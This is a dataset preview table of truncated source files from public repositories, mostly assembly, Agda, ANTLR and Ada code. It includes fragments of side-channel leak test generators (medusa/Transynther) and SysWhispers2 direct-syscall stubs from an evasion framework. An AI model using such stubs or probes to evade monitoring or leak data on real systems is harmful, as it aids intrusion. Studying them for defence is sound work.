max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
libsrc/sprites/software/sp1/spectrum/updater/sp1_Initialize_callee.asm | andydansby/z88dk-mk2 | 1 | 91632 | ; void __CALLEE__ sp1_Initialize_callee(uchar iflag, uchar colour, uchar tile)
; 03.2006 aralbrec, Sprite Pack v3.0
; sinclair spectrum version
INCLUDE "spectrum/customize.asm"
XLIB sp1_Initialize_callee
XDEF ASMDISP_SP1_INITIALIZE_CALLEE
XDEF SP1V_DISPORIGX
XDEF SP1V_DISPORIGY
XDEF SP1V_DISPWIDTH
XDEF SP1V_DISPHEIG... |
python_src/other/export/screen_1_4.asm | fjpena/sword-of-ianna-msx2 | 43 | 83133 | org $0000
; Object types
OBJECT_NONE EQU 0
OBJECT_SWITCH EQU 1
OBJECT_DOOR EQU 2
OBJECT_DOOR_DESTROY EQU 3
OBJECT_FLOOR_DESTROY EQU 4
OBJECT_WALL_DESTROY EQU 5
OBJECT_BOX_LEFT EQU 6
OBJECT_BOX_RIGHT EQU 7
OBJECT_JAR EQU 8
OBJECT_TELEPORTER EQU 9
; Pickable object types
OBJECT_KEY_GREEN EQU 11
OBJECT_KEY_BLUE EQU... |
Transynther/x86/_processed/NONE/_ht_zr_un_/i7-7700_9_0x48.log_21829_76.asm | ljhsiun2/medusa | 9 | 178724 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1e7ca, %rsi
lea addresses_WC_ht+0xcfba, %rdi
nop
nop
nop
xor $56554, %r12
mov $81, %rcx
rep movsl
nop
and $38402, %r10
lea addresses_UC_ht+0x1ddaa, %r12
nop
nop
nop
xor %rax,... |
oeis/028/A028083.asm | neoneye/loda-programs | 11 | 12832 | <gh_stars>10-100
; A028083: Expansion of 1/((1-3x)(1-6x)(1-9x)(1-10x)).
; Submitted by <NAME>
; 1,28,505,7480,99181,1226548,14470705,165111760,1838112661,20084217868,216290873305,2302672401640,24288950066941,254275654917988,2645388660962305,27378515971285120,282112466144578021
mov $1,1
mov $2,$0
mov $3,$0
lpb $2
mov... |
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_277.asm | ljhsiun2/medusa | 9 | 99105 | <filename>Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_277.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r13
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0xbfee, %rdx
nop
add $50523, %r9
mov $0x6162636465666768, %rsi
movq %rsi, %xmm0
vmovups %y... |
STM8S103F3_DEBUG/main.asm | k0mpilator/stm8-vscode | 0 | 168750 | ;--------------------------------------------------------
; File Created by SDCC : free open source ANSI-C Compiler
; Version 3.9.0 #11195 (Linux)
;--------------------------------------------------------
.module main
.optsdcc -mstm8
;--------------------------------------------------------
; Public variables in th... |
oeis/040/A040090.asm | neoneye/loda-programs | 11 | 26804 | <filename>oeis/040/A040090.asm
; A040090: Continued fraction for sqrt(101).
; Submitted by <NAME>
; 10,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20,20
min $0,1
add $0,1
mul $0,10
|
oeis/142/A142547.asm | neoneye/loda-programs | 11 | 29618 | <reponame>neoneye/loda-programs
; A142547: Primes congruent to 17 mod 53.
; Submitted by <NAME>
; 17,229,547,653,971,1289,1607,2137,2243,2879,3727,3833,4363,4787,4999,5741,5953,6271,6907,7013,7331,7649,8179,9133,9239,9769,10193,10723,11677,11783,12101,13267,13691,13903,14009,14221,14327,15493,16447,16553,16871,17189,17... |
test/interaction/SolveAll-Norm.agda | shlevy/agda | 1,989 | 2701 | module SolveAll-Norm where
open import Common.Equality
open import Common.List
open import Common.Nat
example = 0 ∷ 1 ∷ 2 ∷ []
test1 : length example ≡ {!!}
test1 = refl
reverse : {A : Set} → List A → List A
reverse = go [] where
go : {A : Set} → List A → List A → List A
go acc [] = acc
go acc (x ∷ xs)... |
Account/Goedel.Account/SchemaAccount.g4 | pashcovich/Mathematical-Mesh | 0 | 7681 | Using Goedel.Cryptography.Jose
Namespace Goedel.Account
AccountProtocol Protocol ||Mesh/Account Service
|The Mesh/Account Service is used to manage accounts. All operations
|are regarded as privileged and will require appropriate access controls.
AccountService Service "_mmmaccount._tcp" "mmmaccount"
|Eve... |
Lists/Length.agda | Smaug123/agdaproofs | 4 | 15773 | {-# OPTIONS --safe --warning=error --without-K #-}
open import LogicalFormulae
open import Numbers.Naturals.Semiring -- for length
open import Lists.Definition
open import Lists.Fold.Fold
module Lists.Length where
length : {a : _} {A : Set a} (l : List A) → ℕ
length [] = zero
length (x :: l) = succ (length l)
lengt... |
unittests/ASM/Primary/Primary_18_2.asm | cobalt2727/FEX | 628 | 94679 | %ifdef CONFIG
{
"RegData": {
"RBX": "0x08",
"RCX": "0x9918",
"RDX": "0x9A999928",
"RBP": "0x9E9D9C9B9A999938",
"RDI": "0x80",
"RSP": "0x7F80",
"R8": "0x7F7F7F80",
"R9": "0x01",
"R10": "0x4142427244744776",
"R11": "0x5152535455565686",
"R12": "0x6162636465666768"
},
"M... |
Transynther/x86/_processed/US/_zr_un_/i7-7700_9_0x48_notsx.log_9_358.asm | ljhsiun2/medusa | 9 | 241531 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r8
push %r9
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x9b6d, %r10
nop
nop
nop
and %rbp, %rbp
movb $0x61, (%r10)
nop
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_D_ht+0x12dbd, %r8
nop
nop
nop
nop
nop
xor $5980, %... |
programs/oeis/048/A048881.asm | karttu/loda | 0 | 104637 | <reponame>karttu/loda
; A048881: a(n) = A000120(n+1) - 1 = wt(n+1) - 1.
; 0,0,1,0,1,1,2,0,1,1,2,1,2,2,3,0,1,1,2,1,2,2,3,1,2,2,3,2,3,3,4,0,1,1,2,1,2,2,3,1,2,2,3,2,3,3,4,1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,0,1,1,2,1,2,2,3,1,2,2,3,2,3,3,4,1,2,2,3,2,3,3,4,2,3,3,4,3,4,4,5,1,2,2,3,2,3,3,4,2,3
mov $1,$0
add $1,1
lpb $0,1
div $... |
programs/oeis/098/A098383.asm | neoneye/loda | 22 | 98855 | <reponame>neoneye/loda
; A098383: Define a function f on the positive integers by: if n is 1 or composite, stop; but if n = prime(k) then f(n) = k; a(n) = sum of terms in trajectory of n under repeated application of f.
; 1,3,6,4,11,6,11,8,9,10,22,12,19,14,15,16,28,18,27,20,21,22,32,24,25,26,27,28,39,30,53,32,33,34,35,... |
src/data/lib/prim/Agda/Builtin/Strict.agda | redfish64/autonomic-agda | 0 | 12987 |
module Agda.Builtin.Strict where
open import Agda.Builtin.Equality
primitive
primForce : ∀ {a b} {A : Set a} {B : A → Set b} (x : A) → (∀ x → B x) → B x
primForceLemma : ∀ {a b} {A : Set a} {B : A → Set b} (x : A) (f : ∀ x → B x) → primForce x f ≡ f x
|
oeis/142/A142131.asm | neoneye/loda-programs | 11 | 7866 | ; A142131: Primes congruent to 22 mod 37.
; Submitted by <NAME>
; 59,281,503,577,947,1021,1613,2131,2797,3019,3167,3389,3463,3833,3907,4129,4721,4943,5387,5683,6053,6571,6719,6793,7237,7459,7607,7681,7829,8273,9013,9161,9679,9901,10271,10567,10789,10937,11159,11677,12269,12343,12491,12713,13009,14341,14489,14563,15377,... |
projects/07/MemoryAccess/StaticTest/StaticTest.asm | anArkitect/Nand2Tetris | 0 | 246208 | //push constant 111
@111
D=A
@SP
A=M
M=D
@SP
M=M+1
//push constant 333
@333
D=A
@SP
A=M
M=D
@SP
M=M+1
//push constant 888
@888
D=A
@SP
A=M
M=D
@SP
M=M+1
//pop static 8
@SP
AM=M-1
D=M
@R15
M=D
@16
D=A
@8
... |
oeis/021/A021880.asm | neoneye/loda-programs | 11 | 170206 | ; A021880: Decimal expansion of 1/876.
; Submitted by Jon Maiga
; 0,0,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1,1,4,1,5,5,2,5,1
seq $0,199685 ; a(n) = 5*10^n+1.
div $0,438
mod $0,10
|
archive/agda-2/Oscar/Property/Reflexivity.agda | m0davis/oscar | 0 | 12102 |
module Oscar.Property.Reflexivity where
open import Oscar.Level
record Reflexivity {𝔬} {⋆ : Set 𝔬} {ℓ} (_≣_ : ⋆ → ⋆ → Set ℓ) : Set (𝔬 ⊔ ℓ) where
field
reflexivity : ∀ x → x ≣ x
open Reflexivity ⦃ … ⦄ public
|
programs/oeis/094/A094705.asm | neoneye/loda | 22 | 170874 | <reponame>neoneye/loda
; A094705: Convolution of Jacobsthal(n) and 3^n.
; 0,1,4,15,50,161,504,1555,4750,14421,43604,131495,395850,1190281,3576304,10739835,32241350,96767741,290390604,871346575,2614389250,7843866801,23532998504,70601791715,211810967550,635444087461,1906354632004,5719108635255,17157415384250
add $0,2
se... |
basic/src/assembler/support.asm | paulscottrobson/eris | 13 | 8711 | <gh_stars>10-100
; *****************************************************************************
; *****************************************************************************
;
; Name: support.asm
; Purpose: Support routines for assembler
; Created: 22nd March 2020
; Reviewed: TODO
; Author: <NAME> (<EMAIL>)
... |
grammar/JSPNL.g4 | okamumu/jspetrinet | 0 | 1110 | <gh_stars>0
grammar JSPNL;
@header {
package jspetrinet.parser;
}
prog
: ((statement)? NEWLINE)*
;
statement
: declaration
| simple
;
simple_block
: (NEWLINE)* '{' (simple)? (NEWLINE (simple)?)* '}'
;
// declaration
declaration
: node_declaration
| arc_declaration
| assert_... |
libsrc/_DEVELOPMENT/threads/mutex/z80/asm_spinlock_tryacquire.asm | ahjelm/z88dk | 640 | 166732 | <gh_stars>100-1000
SECTION code_clib
SECTION code_threads_mutex
PUBLIC asm_spinlock_tryacquire
.asm_spinlock_tryacquire
; enter : hl = & spinlock
;
; exit : hl = & spinlock
; carry reset if spinlock acquired
;
; uses : f
IF __CPU_INTEL__
scf
inc (hl) ; atomic ... |
Cubical/Experiments/Problem.agda | cj-xu/cubical | 0 | 13159 | <reponame>cj-xu/cubical
-- An example of something where normalization is surprisingly slow
{-# OPTIONS --cubical --safe #-}
module Cubical.Experiments.Problem where
open import Cubical.Core.Everything
open import Cubical.Foundations.Prelude
open import Cubical.Data.Int
open import Cubical.HITs.S1
open import Cubic... |
MooParser.g4 | wiredwiz/Moo-Parser | 0 | 4401 | parser grammar MooParser;
options { tokenVocab=MooLexer; }
/*
* Parser Rules
*/
code
: statementList EOF
| EOF
;
statementList
: statement*
;
statement
: expression SEMI
| ifStatement
| returnStatement SEMI
| forStatement
| whileStatement
| forkStatement
| tryExceptStatement
| tryFinallyStatement
|... |
boot/pikos_disk.asm | pikobyte/pikos | 1 | 20536 | ;
; pikos_disk.asm
; pikOS disk handling routine.
;
; A typical disk is accessed through 3 values: cylinder, head and sector (CHS).
; We can use the BIOS interrupt int 0x13 after setting al to 0x02 to access a
; disk.
; Load the sectors in DH from the drive in DL into the register ES:BX.
disk_load:
pusha ... |
projects/batfish/src/main/antlr4/org/batfish/vendor/check_point_gateway/grammar/CheckPointGatewayLexer.g4 | shiibaryu/batfish | 0 | 6347 | lexer grammar CheckPointGatewayLexer;
options {
superClass = 'CheckPointGatewayBaseLexer';
}
tokens {
DOUBLE_QUOTE,
QUOTED_TEXT,
SINGLE_QUOTE,
STR_SEPARATOR,
WORD
}
// CheckPointGateway keywords
ACTIVE_BACKUP: 'active-backup';
ADD: 'add';
ADDRESS: 'address';
AUTO_NEGOTIATION: 'auto-negotiation';
BLACKHO... |
programs/oeis/254/A254758.asm | jmorken/loda | 1 | 25516 | ; A254758: Part of the positive proper solutions x of the Pell equation x^2 - 2*y^2 = - 7^2 based on the fundamental solution (x0, y0)= (1, 5).
; 1,23,137,799,4657,27143,158201,922063,5374177,31322999,182563817,1064059903,6201795601,36146713703,210678486617,1227924205999,7156866749377,41713276290263,243122790992201,141... |
src/frontend/Experimental_Ada_ROSE_Connection/parser/lal_adapter/source/lal_adapter-node.adb | ouankou/rose | 488 | 14815 | with Ada.Tags;
with Generic_Logging;
with Langkit_Support.Slocs;
with Langkit_Support.Text;
With System.Address_Image;
package body Lal_Adapter.Node is
package Slocs renames Langkit_Support.Slocs;
package Text renames Langkit_Support.Text;
--------------------------------------------------------------------... |
test/Succeed/FancyRecordModule.agda | cruhland/agda | 1,989 | 9082 | <filename>test/Succeed/FancyRecordModule.agda
-- Record declarations can now contain arbitrary declarations.
-- These are included in the projection module.
module FancyRecordModule where
data Nat : Set where
zero : Nat
suc : Nat -> Nat
record Exist {A : Set}(P : A -> Set) : Set where
field witness : A
x = ... |
examples/src/package_9_jobs.ads | onox/orka | 52 | 7137 | <reponame>onox/orka
-- SPDX-License-Identifier: Apache-2.0
--
-- Copyright (c) 2018 onox <<EMAIL>>
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/li... |
test/10-perses-right.g4 | nsumner/antlr2pnf | 3 | 5635 | <gh_stars>1-10
grammar test10;
entry: a;
a: c b | d | ;
b: d a | d c;
c: 'c';
d: 'd';
|
Library/Trans/Graphics/Vector/Wmf/Import/importMain.asm | steakknife/pcgeos | 504 | 20241 | <reponame>steakknife/pcgeos
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: importMain.asm
AUTHOR: <NAME>, Jul 13, 1992
ROUTINES:
Name Description
---- -----------
REVISION H... |
progs/chap05p08-ltrim.asm | HKhademian/AssemblyDandamudi | 1 | 164522 | <reponame>HKhademian/AssemblyDandamudi
%include "lib.asm"
extern ExitProcess
global _start
section .bss
MAX EQU 1000
NULL EQU 0
text1 resb MAX
buffer resb 25
section .code
ltrim:
%define str1 DWORD [EBP+8]
enter 0,0
push ESI
push EDI
push EAX
mov ESI, str1
mov EDI, str1
dec EDI
ltrim_e... |
GF-RV/src/main/antlr/ca/waterloo/dsg/graphflow/grammar/Graphflow.g4 | g31pranjal/graphflow-columnar-techniques | 11 | 6530 | <gh_stars>10-100
grammar Graphflow;
oC_Cypher : SP? oC_Statement ( SP? ';' )? SP? EOF ;
oC_Statement : oC_Query ;
oC_Query : oC_RegularQuery
| gF_bplusTreeNodeIndexQuery ;
gF_bplusTreeNodeIndexQuery : gF_bPlusTreeNodeIndexPattern (SP oC_Where)?;
gF_bPlusTreeNodeIndexPattern : CREATE SP INDEX SP gF_indexNa... |
3-mid/impact/source/3d/dynamics/impact-d3-object-rigid.ads | charlie5/lace | 20 | 8563 | <gh_stars>10-100
with impact.d3.Object,
impact.d3.Shape,
impact.d3.motion_State;
with impact.d3.collision.Proxy;
with impact.d3.Joint;
package impact.d3.Object.rigid
--
--
--
is
type Item is new impact.d3.Object.item with private;
type View is access all Item'Class;
--- rigidFlags
--
... |
day14/src/main.adb | jwarwick/aoc_2020 | 3 | 1311 | <reponame>jwarwick/aoc_2020
-- AOC 2020, Day 14
with Ada.Text_IO; use Ada.Text_IO;
with Day; use Day;
procedure main is
p : constant Program := load_file("input.txt");
part1 : constant Long_Integer := sum_memory(p);
part2 : constant Long_Integer := sum_memory_v2(p);
begin
put_line("Part 1: " & Long_Integer'Ima... |
ugbc/src/hw/tms9918/cls_graphic.asm | spotlessmind1975/ugbasic | 10 | 177846 | <filename>ugbc/src/hw/tms9918/cls_graphic.asm
; /*****************************************************************************
; * ugBASIC - an isomorphic BASIC language compiler for retrocomputers *
; *****************************************************************************
; * Copyright 2021-2022 <NAME>... |
Fire Alarm - Smoke Detector/files/alarm_rim.asm | sanils2002/ASSEMBLY-PROJECTS | 0 | 243545 | <reponame>sanils2002/ASSEMBLY-PROJECTS
START: RIM
RAL
JNC START
MVI A,#C0H
SIM
JMP START
|
oeis/350/A350384.asm | neoneye/loda-programs | 11 | 15205 | <reponame>neoneye/loda-programs
; A350384: a(n) = (-1728)^n.
; Submitted by <NAME>
; 1,-1728,2985984,-5159780352,8916100448256,-15407021574586368,26623333280885243904,-46005119909369701466112,79496847203390844133441536,-137370551967459378662586974208,237376313799769806328950291431424,-4101862702460022253364261035935006... |
shellcode/amd64/nop.asm | r0ck3rt/gopwn | 9 | 6419 | nop |
programs/oeis/075/A075425.asm | neoneye/loda | 22 | 244916 | <reponame>neoneye/loda
; A075425: Number of steps to reach 1 starting with n and iterating the map n ->rad(n)-1, where rad(n) is the squarefree kernel of n (A007947).
; 0,1,2,1,2,3,4,1,2,3,4,3,4,5,6,1,2,3,4,3,4,5,6,3,2,3,2,5,6,7,8,1,2,3,4,3,4,5,6,3,4,5,6,5,6,7,8,3,4,3,4,3,4,3,4,5,6,7,8,7,8,9,4,1,2,3,4,3,4,5,6,3,4,5,6,5... |
Applescript/Reset_NPC_Groups.applescript | dustindmiller/QTableTop | 1 | 3448 | <filename>Applescript/Reset_NPC_Groups.applescript
tell application id "com.figure53.QLab.4" to tell front workspace
set doubleChecker to (display dialog "Please Confirm Total NPC Movement Group Reset..." with title "Reset NPC Movement Group" buttons {"Confirm", "Cancel"} default button "Confirm" giving up after 5)
s... |
source/core/lace-generic_engines.adb | reznikmm/lace | 0 | 23124 | -- SPDX-FileCopyrightText: 2021 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-------------------------------------------------------------
package body Lace.Generic_Engines is
------------------
-- Get_Property --
------------------
function Get_Property
(Self : access Engine;
Elem... |
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/specs/noinline3.ads | best08618/asylo | 7 | 12484 | -- { dg-do compile }
-- { dg-options "-O2 -fdump-tree-optimized" }
with Noinline3_Pkg;
package Noinline3 is new Noinline3_Pkg (0);
-- { dg-final { scan-tree-dump-times "noinline3.inner" 2 "optimized" } }
|
source/features/string.asm | henriland/myos | 1 | 80516 | ; ==================================================================
; STRING MANIPULATION ROUTINES
; ==================================================================
; ------------------------------------------------------------------
; os_string_length -- Return length of a string
; IN: AX = string location
... |
src/fltk-environment.adb | micahwelf/FLTK-Ada | 1 | 11969 | <filename>src/fltk-environment.adb
with
Interfaces.C.Strings,
System;
use type
Interfaces.C.int,
Interfaces.C.Strings.chars_ptr,
System.Address;
package body FLTK.Environment is
function new_fl_preferences
(P, V, A : in Interfaces.C.char_array)
return System.Address;
... |
oeis/282/A282692.asm | neoneye/loda-programs | 11 | 242586 | <reponame>neoneye/loda-programs
; A282692: a(n) = maximal number of nonzero real roots of any of the 3^(n+1) polynomials c_0 + c_1*x + c_2*x^2 + ... + c_n*x^n where the coefficients c_i are -1, 0, or 1.
; 0,1,2,3,3,3,4,5,5,5,5,5,6,7,7
mov $1,1
lpb $0
trn $0,$1
add $1,$0
trn $0,1
sub $1,$0
add $1,1
lpe
mov $0... |
Data/ships/Plate.asm | TinfoilAsteroid/EliteNext | 9 | 162939 | <reponame>TinfoilAsteroid/EliteNext<filename>Data/ships/Plate.asm
Plate: DB $80
DW $0064
DW PlateEdges
DB PlateEdgesSize
DB $00, $0A
DB PlateVertSize /6
DB Pla... |
inceptor/syscalls/syswhispersv2_x86/x86/Syscalls.asm | whitefi/inceptor | 743 | 173701 | .686
.XMM
.MODEL flat, c
ASSUME fs:_DATA
.CODE
; x64 for x86
EXTERN SW2_GetSyscallNumber: PROC
NtAccessCheck PROC
push ebp
mov ebp, esp
push 0C45B3507h ; Load function hash into ECX.
call SW2_GetSyscallNumber
lea esp, [esp+4]
mov ecx, 8h
push_argument:
dec ecx
push [ebp + 08h + ecx * 4]
jnz push_... |
libsrc/_DEVELOPMENT/adt/b_array/c/sccz80/b_array_empty.asm | meesokim/z88dk | 0 | 241694 |
; int b_array_empty(b_array_t *a)
SECTION code_adt_b_array
PUBLIC b_array_empty
defc b_array_empty = asm_b_array_empty
INCLUDE "adt/b_array/z80/asm_b_array_empty.asm"
|
source/numerics/a-nsrear.ads | ytomino/drake | 33 | 5701 | <gh_stars>10-100
pragma License (Unrestricted);
with Ada.Numerics.Generic_Real_Arrays;
package Ada.Numerics.Short_Real_Arrays is
new Generic_Real_Arrays (Short_Float);
pragma Pure (Ada.Numerics.Short_Real_Arrays);
|
oeis/336/A336626.asm | neoneye/loda-programs | 11 | 170652 | ; A336626: Triangular numbers that are eight times another triangular number.
; Submitted by <NAME>
; 0,120,528,139128,609960,160554240,703893960,185279454480,812293020528,213812329916328,937385441796000,246739243443988680,1081741987539564120,284736873122033021040,1248329316235215199128,328586104843582662292128,1440570... |
oeis/117/A117617.asm | neoneye/loda-programs | 11 | 10362 | ; A117617: a(n) = 5*a(n-1) + 3 with a(0) = 1.
; Submitted by <NAME>
; 1,8,43,218,1093,5468,27343,136718,683593,3417968,17089843,85449218,427246093,2136230468,10681152343,53405761718,267028808593,1335144042968,6675720214843,33378601074218,166893005371093,834465026855468,4172325134277343,20861625671386718,104308128356933... |
libsrc/target/tvc/romgfx/setpos.asm | dikdom/z88dk | 0 | 92570 | ;
; Videoton TV Computer C stub
; <NAME> - 2019
;
; Set pen position to X;Y (BC;DE)
;
SECTION code_clib
public setpos_callee
public _setpos_callee
public setpos
public _setpos
INCLUDE "target/tvc/def/tvc.def"
.setpos_callee
._setpos_callee
pop hl ; ret addr
pop de
... |
drivers/lu_test.adb | sciencylab/lagrangian-solver | 0 | 14743 | <reponame>sciencylab/lagrangian-solver<filename>drivers/lu_test.adb<gh_stars>0
with Numerics, Numerics.Dense_Matrices, Ada.Text_IO, Dense_AD;
use Numerics, Numerics.Dense_Matrices, Ada.Text_IO;
procedure LU_Test is
use Real_IO, Int_IO;
N : constant Nat := 5;
package AD is new Dense_AD (N); use AD;
Exa... |
src/Lambda/Simplified/Compiler.agda | nad/partiality-monad | 2 | 14780 | ------------------------------------------------------------------------
-- A compiler
------------------------------------------------------------------------
{-# OPTIONS --erased-cubical --safe #-}
module Lambda.Simplified.Compiler where
open import Equality.Propositional.Cubical
open import Prelude
open import V... |
gcc-gcc-7_3_0-release/gcc/testsuite/ada/acats/tests/c8/c85007a.ada | best08618/asylo | 7 | 8939 | -- C85007A.ADA
-- Grant of Unlimited Rights
--
-- Under contracts F33600-87-D-0337, F33600-84-D-0280, MDA903-79-C-0687,
-- F08630-91-C-0015, and DCA100-97-D-0025, the U.S. Government obtained
-- unlimited rights in the software and documentation contained herein.
-- Unlimit... |
P6/data_P6/testpoint/testpoint70.asm | alxzzhou/BUAA_CO_2020 | 1 | 16117 | ori $1, $0, 3
ori $2, $0, 7
ori $3, $0, 8
ori $4, $0, 11
sw $3, 0($0)
sw $3, 4($0)
sw $1, 8($0)
sw $2, 12($0)
sw $3, 16($0)
sw $3, 20($0)
sw $1, 24($0)
sw $4, 28($0)
sw $1, 32($0)
sw $1, 36($0)
sw $1, 40($0)
sw $1, 44($0)
sw $1, 48($0)
sw $2, 52($0)
sw $1, 56($0)
sw $3, 60($0)
sw $2, 64($0)
sw $1, ... |
source/nodes/program-nodes-formal_derived_type_definitions.ads | optikos/oasis | 0 | 13769 | -- Copyright (c) 2019 <NAME> <<EMAIL>>
--
-- SPDX-License-Identifier: MIT
-- License-Filename: LICENSE
-------------------------------------------------------------
with Program.Lexical_Elements;
with Program.Elements.Expressions;
with Program.Elements.Formal_Derived_Type_Definitions;
with Program.Element_Visitors;... |
Program06/Prog06.asm | jasarsoft/asm-example | 1 | 11341 | ;Zadatak 6: Vrijeme ispisa iz memorije racunara
Prog06 Segment ;definicija segmenta
assume CS:Prog06, DS:Prog06 ;pocetak CS i DS segmenta
Start: mov ax, Prog06 ;pocetak na DS
mov ds, ax
mov ax, 0b800h ;adreas video memorije u ES registru... |
source/numerics/machine-pc-freebsd/s-llelfu.adb | ytomino/drake | 33 | 19599 | package body System.Long_Long_Elementary_Functions is
function Fast_Log (X : Long_Long_Float) return Long_Long_Float is
begin
return Long_Long_Float (Fast_Log (Long_Float (X)));
end Fast_Log;
function Fast_Exp (X : Long_Long_Float) return Long_Long_Float is
begin
return Long_Long_Float (Fas... |
libsrc/_DEVELOPMENT/math/float/am9511/c/sccz80/cam32_sccz80_round.asm | ahjelm/z88dk | 640 | 4621 | <gh_stars>100-1000
SECTION code_fp_am9511
PUBLIC cam32_sccz80_round
EXTERN _am9511_round
defc cam32_sccz80_round = _am9511_round
|
src/repository.adb | kraileth/ravenadm | 18 | 28173 | <filename>src/repository.adb<gh_stars>10-100
-- This file is covered by the Internet Software Consortium (ISC) License
-- Reference: ../License.txt
with Unix;
with Parameters;
with HelperText;
with File_Operations;
with PortScan.Scan;
with PortScan.Operations;
with Ada.Characters.Latin_1;
with Ada.Directories;
with ... |
programs/oeis/253/A253811.asm | jmorken/loda | 1 | 84569 | ; A253811: Part of the y solutions of the Pell equation x^2 - 2*y^2 = +7.
; 3,19,111,647,3771,21979,128103,746639,4351731,25363747,147830751,861620759,5021893803,29269742059,170596558551,994309609247,5795261096931,33777256972339,196868280737103,1147432427450279,6687726283964571,38978925276337147
mul $0,2
mov $1,3
lpb ... |
source/asis/spec/annex_d/ada-synchronous_task_control.ads | faelys/gela-asis | 4 | 11222 | ------------------------------------------------------------------------------
-- A d a r u n - t i m e s p e c i f i c a t i o n --
-- ASIS implementation for Gela project, a portable Ada compiler --
-- http://gela.ada-ru.org --
-- ... |
programs/oeis/046/A046657.asm | jmorken/loda | 1 | 103266 | ; A046657: a(n) = A002088(n)/2.
; 1,2,3,5,6,9,11,14,16,21,23,29,32,36,40,48,51,60,64,70,75,86,90,100,106,115,121,135,139,154,162,172,180,192,198,216,225,237,245,265,271,292,302,314,325,348,356,377,387,403,415,441,450,470,482,500,514,543,551,581,596,614,630,654,664,697,713,735,747,782,794,830,848,868,886,916,928,967,983... |
programs/oeis/057/A057358.asm | karttu/loda | 1 | 81042 | <gh_stars>1-10
; A057358: a(n) = floor(4*n/7).
; 0,0,1,1,2,2,3,4,4,5,5,6,6,7,8,8,9,9,10,10,11,12,12,13,13,14,14,15,16,16,17,17,18,18,19,20,20,21,21,22,22,23,24,24,25,25,26,26,27,28,28,29,29,30,30,31,32,32,33,33,34,34,35,36,36,37,37,38,38,39,40,40,41,41,42,42,43,44,44,45,45,46,46,47,48,48,49,49,50,50,51,52,52,53,53,54,5... |
programs/oeis/063/A063124.asm | jmorken/loda | 1 | 92379 | ; A063124: a(n) = # { i prime | prime(n) <= i < prime(n)*2 } (prime(n) = A000040, the prime enumeration).
; 2,2,2,3,4,4,5,5,6,7,8,10,10,10,10,12,14,13,14,15,14,16,16,17,20,21,20,20,19,19,24,24,26,26,28,27,29,29,29,29,31,31,33,33,33,33,36,39,39,39,40,40,40,42,43,44,43,43,43,43,43,45,50,51,50,50,55,55,57,56,56,56,58,59,6... |
src/fsmaker-commands.adb | Fabien-Chouteau/fsmaker | 0 | 3084 | <reponame>Fabien-Chouteau/fsmaker
with Simple_Logging; use Simple_Logging;
with GNAT.OS_Lib; use GNAT.OS_Lib;
with CLIC.User_Input;
with CLIC.TTY;
with FSmaker.Commands.Init;
with FSmaker.Commands.Mkdir;
with FSmaker.Commands.Tree;
with FSmaker.Commands.Import;
with FSmaker.Commands.Cat;
with FSmaker.Commands.Hexdump... |
ohce/key/getkey.asm | Silva97/asm-tools | 3 | 3999 | <reponame>Silva97/asm-tools
bits 16
;;;;;
; Gets a key if it is pressed.
; Return:
; AX The code of the key. Zero if not have a pressed key.
;;;;;
getkey:
mov ah, 0x01
int 0x16
jz .stop
mov ah, 0x00
int 0x16
.stop:
ret |
test/js/TestBool.agda | redfish64/autonomic-agda | 1 | 17056 | open import Common.Prelude
open import TestHarness
module TestBool where
not : Bool → Bool
not true = false
not false = true
{-# COMPILED_JS not function (x) { return !x; } #-}
_∧_ : Bool → Bool → Bool
true ∧ x = x
false ∧ x = false
{-# COMPILED_JS _∧_ function (x) { return function (y) { return x && y; }; } #-}
... |
tests/natools-s_expressions-printers-pretty-tests.adb | faelys/natools | 0 | 3713 | <filename>tests/natools-s_expressions-printers-pretty-tests.adb
------------------------------------------------------------------------------
-- Copyright (c) 2014, <NAME> --
-- --
-- Permission to use, copy... |
src/fot/FOL/Base.agda | asr/fotc | 11 | 1554 | ------------------------------------------------------------------------------
-- First-order logic base
------------------------------------------------------------------------------
{-# OPTIONS --exact-split #-}
{-# OPTIONS --no-sized-types #-}
{-# OPTIONS --no-universe-polymorphism #-}
{-# OP... |
programs/oeis/079/A079295.asm | neoneye/loda | 22 | 9101 | ; A079295: (D(p)-6)/(12p) where D(p) denotes the denominator of the 2p-th Bernoulli number and p runs through the primes.
; 1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0
mov $... |
